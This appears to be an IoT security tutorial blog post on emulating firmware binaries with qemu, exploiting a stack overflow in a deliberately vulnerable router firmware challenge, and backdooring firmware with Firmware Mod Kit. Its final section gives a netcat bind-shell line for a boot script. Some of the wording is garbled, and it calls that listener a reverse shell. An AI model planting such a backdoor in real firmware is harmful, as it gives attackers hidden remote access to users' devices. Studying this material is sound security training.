Emulating and exploiting firmware binaries – Offensive IoT exploitation series 2023
Today we will learn about Emulating and exploiting firmware binaries – Offensive IoT exploitation series in this article.
Introduction to Emulating and exploiting firmware binaries:
There are two firmware which we will be using for this post:
- Kkeps.bin (firmware of a kankun smart plug) – downloadable from http://homedash.org/2014/09/21/firmware-downloads/
- DVRF_0.3.bin (firmware of Damn Vulnerable Router Firmware by @b1ack0wl) – downloadable from https://github.com/praetorian-inc/DVRF
Once we have the Kankun firmware, the first thing we will do is extract the filesystem from the firmware using binwalk.
binwalk -e kkeps.bin
Now that binwalk unpacked the firmware; we can look in the file system to see if there are any interesting binaries we might try to target. As we look, we see that inside the sbin/ folder there are several binaries that look custom because the name starts with the string kkeps.
Running firmware binaries designed for different architectures
Now, in order to interact with these binaries, we either need to run the binary by gaining access to the device shell (something we will do in later posts), or we can emulate the binary by specifying what architecture the binary should run on. on. We can use the readelf utility for this.
As we can see from the screenshot above, the binary is for MIPS architecture. We need to find the corresponding qemu binary that will allow us to emulate binaries for the MIPS architecture. Installing qemu is beyond the scope of this post as there are many online resources with detailed guides on how to do it.
Related article:Everything you need to know about Ethical Hacking as a Career by Blackhat Pakistan 2023
Once you have successfully installed qemu on your system, the next step is to copy the qemu-mips-static binary to the firmware root folder.
First, let’s try running busybox located in the bin folder and see if that works.
Because the busybox binary is compiled for a different architecture, it simply refuses to run on our x86 machine, causing an Exec format error. Now let’s try the same again, this time using qemu-mips-static and chroot:
sudo chroot. ./qemu-mips-static bin/busybox
As we can see, we are now successfully able to run the binaries by emulating them for the given architecture using Qem.
Now let’s try to emulate kkeps_seekwifi binary located in sbin folder using qemu-mips now also using chroot as below:
sudo chroot. ./qemu-mips-static sbin/kkeps_seekwifi
As the name of the binary says seekwifi, it is possible that this binary is seeking to connect to the device (if it would run on the device). Let’s check if it has started any kind of listener on any of our ports. For this we will use netstat as shown below.
Indeed! It has started a listener on port 50000. Let’s see if we can even connect to this port and send some data which will be received by the listener.
If we look at the other terminal window, we will notice that the running binary has received the data sent through telnet.
So we can emulate binaries from firmware for a different architecture and even interact with running binaries.
This opens up a lot of possibilities for us as penetration testers. In fact, this means that if we manage to get the firmware of any device, we can even attack them and verify whether it works or not without having to get the actual device.
Exploiting stack-based buffer overflows on MIPS
Now let’s try to implement buffer overflow-based stack exploitation on a binary system for the MIPS platform. This is assuming readers know the basic concepts of stack-based buffer overflow vulnerabilities. For this exercise we will use the Damn Vulnerable Router Firmware.
The first step, as with any firmware, is to extract the file system using binwalk. Once you unpack the DVRF filesystem with binwalk, you will find the prompts in the squashfs-root/pwnable/Intro folder.
The challenge we are going to crack is stack_bof_01. Before we start using this binary, let’s first look at disassembly using IDA. You can even use radare2 or plasma for this, depending on your preference. We will use IDA for this series. Also make sure to change the architecture type to MIPS little endian when loading the binary in IDA.
The first thing we would need to have a look at is to see the list of functions and see if there are any interesting functions.
As we can see, there is a potentially interesting function called dat_shell at address 0x400950. We will return to this later.
Let’s try running the program and see what the normal output is when running the binary. We will run it as in the previous section using qemu and chroot.
It looks like the binary needs an argument that, when matching a condition specified by the developer, will produce a different output instead of “Retry”. To do this, start qemu with the debugger attached to it using the -g flag and port number and connect to it remotely using IDA. Just to note that during emulation in some cases you will also need to set the environment variables expected by the binary using qemu’s –e flag.
As we can see, execution is now suspended as it waits for the debugger to connect to it and provide more operations to execute. So let’s go to IDA and join this process by configuring a remote debugger. To do this we will need to open the same binary in IDA and then switch to Debugger | Process options and enter our remote IP address (where we have the emulated binary) and port here.
Once done, we can then run the debugger and attach to the existing running process. You can set breakpoints here and analyze various registers, as well as perform anything you would like to perform.
We’ll go into the MIPS assembly in depth later in this series of posts, but for now we can focus on PC and RA, which are the two most useful registers in terms of usage, and stand for the Program Counter and Return Address.
To give you a quick background, the program Counter is the next instruction to be loaded (due to MIPS pipelining), and RA is the return address (where the program returns after the subroutine completes).
Controlling one of them will give us access to the program flow and thus the execution of the program can be manipulated.
Since this is a Stack-based overflow crackme, run the binary with an extremely long 2000 character string generated by Metasploit’s pattern_create.rb pattern as shown below.
Once generated, we can use this pattern as an argument while running the binary and debug the binary in IDA to see where our PC gets to.
Since the program is now running, let’s go into IDA and see what the PC value is when the program crashes. We will be able to see that the PC stores the value 0x41386741.
If we convert 0x41386741 to a string, we find that it is A8gA, which we find using pattern_offset.rb to be 204. This means that we can control the program counter and it takes 204 characters of spam to reach the point where the next character overwrites program counter.
Now let’s try calling the dat_shell function we saw earlier using this vulnerability. Since the first two lines are about the GP (Global pointer), let’s avoid those lines and jump directly to the third line of the instruction at address 0x40095c.
So again we generate a pattern of 204 characters and then put the address of the third instruction into the dat_shell function. As we can see from the image below, this time he tells us: “Congratulations! I will now run /bin/sh” which means we have now successfully exploited. If this was a real device, it would actually give us a shell.
How to backdoor firmware
One of the other interesting things we could do with the firmware is to create a malicious version of the original firmware. This can be done by extracting the filesystem from the firmware, adding malicious scripts that should run automatically, giving you a reverse shell, and repacking it into the new firmware. As a next step, if you have access (hardware or online), you can even flash the newly created firmware to the device.
This poses a huge security risk because most of the devices you buy are not directly from manufacturers, but rather from distributors. Unless you verify that it is a legitimate firmware running on the device, you cannot be absolutely sure that it is not backdoored. We won’t go into the details of how manufacturers insert backdoors into firmware.
Now let’s take a deep dive into how all this could be done.
Introducing the firmware set Mod
Firmware Mod Kit is a tool written by Jeremy Collake and Craig Heffner. With FMK, as it is popularly called, you can extract the firmware image, add your own code and create a new version of the firmware.
Firmware mod kit is a complete kit for both extracting and creating new firmware. For extraction, it also uses Binwalk as part of its extraction process.
To extract the firmware using binwalk we can use extract-firmware.sh followed by the name of the firmware binary as shown below.
Once the firmware is extracted, it will store the extracted file system in the fmk directory of the same folder.
Here we can edit or add any file we want. As we can see from the screenshot below, there is a busybox binary that also has Netcat. If we wanted, we could add a reverse Netcat shell to connect to our IP whenever the device boots.
To add a backdoor, we can add the following line to any .sh file that can be run automatically when the device boots.
/bin/busybox nc –nlp 12345 –e /bin/busybox sh &
Once we’ve made our changes, we can use build-firmware.sh to create a new firmware that can then be flashed to the device.
That’s it for this post. I hope you were able to learn a lot about analyzing and exploiting firmware binaries. That’s it for this post. In the next post, we will learn more about the hardware usage on these devices.